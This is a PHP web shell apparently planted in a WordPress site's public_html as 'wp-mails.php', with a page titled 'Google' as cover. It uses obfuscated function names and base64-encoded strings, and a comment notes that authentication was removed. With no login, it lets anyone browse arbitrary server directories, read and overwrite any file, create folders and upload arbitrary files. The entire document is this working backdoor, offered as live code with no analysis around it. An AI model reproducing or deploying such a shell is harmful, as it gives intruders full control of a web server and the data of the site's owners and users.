File: /home/zulfiqar/public_html/wp-mails.php
<?php
// --- Şifre / Session kontrolü kaldırıldı ---
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Google</title>
<style>
body {font-family: Arial, sans-serif;margin: 0;padding: 0;}
#container {max-width: 800px;margin: 20px auto;padding: 20px;border: 1px solid #ccc;border-radius: 5px;background-color: #f9f9f9;}
h1 {text-align: center;color: #333;}
h2 {margin-top: 30px;color: #555;}
ul {list-style-type: none;padding: 0;}
li {margin-bottom: 10px;}
a {text-decoration: none;color: #007bff;}
a:hover {text-decoration: underline;}
form {margin-top: 20px;}
input[type="text"], input[type="file"], input[type="submit"] {margin-bottom: 10px;}
hr {border: 0;height: 1px;background-color: #ccc;margin-top: 20px;margin-bottom: 20px;}
</style>
</head>
<body>
<div id="container">
<h1>Google</h1>
<?php
function n_cbb23f5e0c16($k){return htmlspecialchars(strip_tags($k));}
function v_fbe9ece901dd($a){$a=str_replace(base64_decode('XFw='),base64_decode('Lw=='),$a);$o=explode(base64_decode('Lw=='),$a);$m=[];foreach($o as $t=>$i){if($i==''&&$t==0){$m[]=base64_decode('PGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4=');continue;}if($i=='')continue;$m[]=base64_decode('PGEgaHJlZj0iP3BhdGg9');for($p=0;$p<=$t;$p++){$m[]="$o[$p]";if($p!=$t)$m[]=base64_decode('Lw==');}$m[]=base64_decode('Ij4=').$i.base64_decode('PC9hPi8=');}return implode('',$m);}
function r_739aae51b82b($a){$f=scandir($a);$e=[];$c=[];foreach($f as $g){if($g=='.'||$g=='..')continue;$o=$a.'/'. $g;if(is_dir($o)){$e[]='<li><strong>Folder:</strong> <a href="?path='.urlencode($o).'">'.$g.'</a></li>';}else{$m=filesize($o);$s=['B','KB','MB','GB','TB','PB','EB','ZB','YB'];$h=$m?round($m/pow(1024,($p=floor(log($m,1024)))),2).' '.$s[$p]:"0 B";$c[]='<li><strong>File:</strong> <a href="?action=edit&file='.urlencode($g).'&path='.urlencode($a).'">'.$g.'</a> ('.$h.')</li>';}}echo '<ul>'.implode('',$e).(!empty($e)&&!empty($c)?'<hr>':'').implode('',$c).'</ul>';}
function t_faff18fc8e8d($a,$y){$y=n_cbb23f5e0c16($y);$b=$a.'/'.$y;if(!file_exists($b)){mkdir($b);echo"Folder '$y' created successfully!";}else{echo"Folder '$y' already exists!";}}
function r_c310bc56a501($a,$y){$o=$a.'/'.basename($y['name']);if(move_uploaded_file($y['tmp_name'],$o)){echo 'File '.htmlspecialchars(basename($y['name'])).' uploaded successfully.';}else{echo 'Error uploading file.';}}
function k_2fa777b4b79d($t){if($_SERVER['REQUEST_METHOD']==='POST'){$q=$_POST['file_content'];if(file_put_contents($t,$q)!==false){echo 'File saved successfully.';}else{echo 'Error saving file.';}}$q=file_get_contents($t);echo '<form method="post"><textarea name="file_content" rows="10" cols="50">'.htmlspecialchars($q).'</textarea><br><input type="submit" value="Save"></form>';}
if(isset($_GET['path'])){$a=$_GET['path'];}else{$a=getcwd();}
if(isset($_GET['action'])){$m=$_GET['action'];switch($m){case 'edit':if(isset($_GET['file'])){$f=$_GET['file'];$t=$a.'/'.$f;if(file_exists($t)){echo '<h2>Edit File: '.$f.'</h2>';k_2fa777b4b79d($t);}else{echo 'File not found.';}}else{echo 'Invalid file.';}break;default:echo 'Invalid action.';}}else{echo '<h2>Directory: '.$a.'</h2><p>'.v_fbe9ece901dd($a).'</p><h3>Directory Contents:</h3>';r_739aae51b82b($a);echo '<hr><h3>Create New Folder:</h3><form method="post">New Folder Name: <input type="text" name="folder_name"><input type="submit" name="create_folder" value="Create Folder"></form><h3>Upload New File:</h3><form method="post" enctype="multipart/form-data">Select file: <input type="file" name="file_to_upload"><input type="submit" name="upload_file" value="Upload File"></form>'; }
if(isset($_POST['create_folder'])){t_faff18fc8e8d($a,$_POST['folder_name']);}
if(isset($_POST['upload_file'])){r_c310bc56a501($a,$_FILES['file_to_upload']);}
?>
</div>
</body>
</html>